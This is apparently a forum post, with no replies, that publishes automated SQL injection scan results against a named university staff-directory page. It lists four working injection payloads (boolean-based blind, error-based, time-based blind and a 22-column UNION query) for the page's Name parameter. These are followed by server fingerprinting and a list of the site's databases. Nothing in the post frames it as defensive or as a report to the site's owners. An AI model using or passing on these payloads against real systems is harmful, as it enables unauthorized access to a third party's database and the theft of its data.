Keine Antworten in diesem Thema

[xenomorph]

https://www.tu-chemnitz.de/physik/OSMP/staff01.php?Name=E.%20Zenkevich

 

Parameter: Name (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: Name=E. Zenkevich' AND 7067=7067 AND 'AFmN'='AFmN

 

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

    Payload: Name=E. Zenkevich' AND (SELECT 4676 FROM(SELECT COUNT(*),CONCAT(0x7176766b71,(SELECT (ELT(4676=4676,1))),0x7176787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'JXUE'='JXUE

 

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

    Payload: Name=E. Zenkevich' AND (SELECT * FROM (SELECT(SLEEP(5)))mQJj) AND 'FMWa'='FMWa

 

    Type: UNION query

    Title: Generic UNION query (NULL) - 22 columns

    Payload: Name=E. Zenkevich' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176766b71,0x7166654a71457566424a,0x7176787171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 

---

web server operating system: Linux

web application technology: Apache 2.2.31

back-end DBMS: MySQL 5.0

available databases [2]:

[*] information_schema

[*] ph_info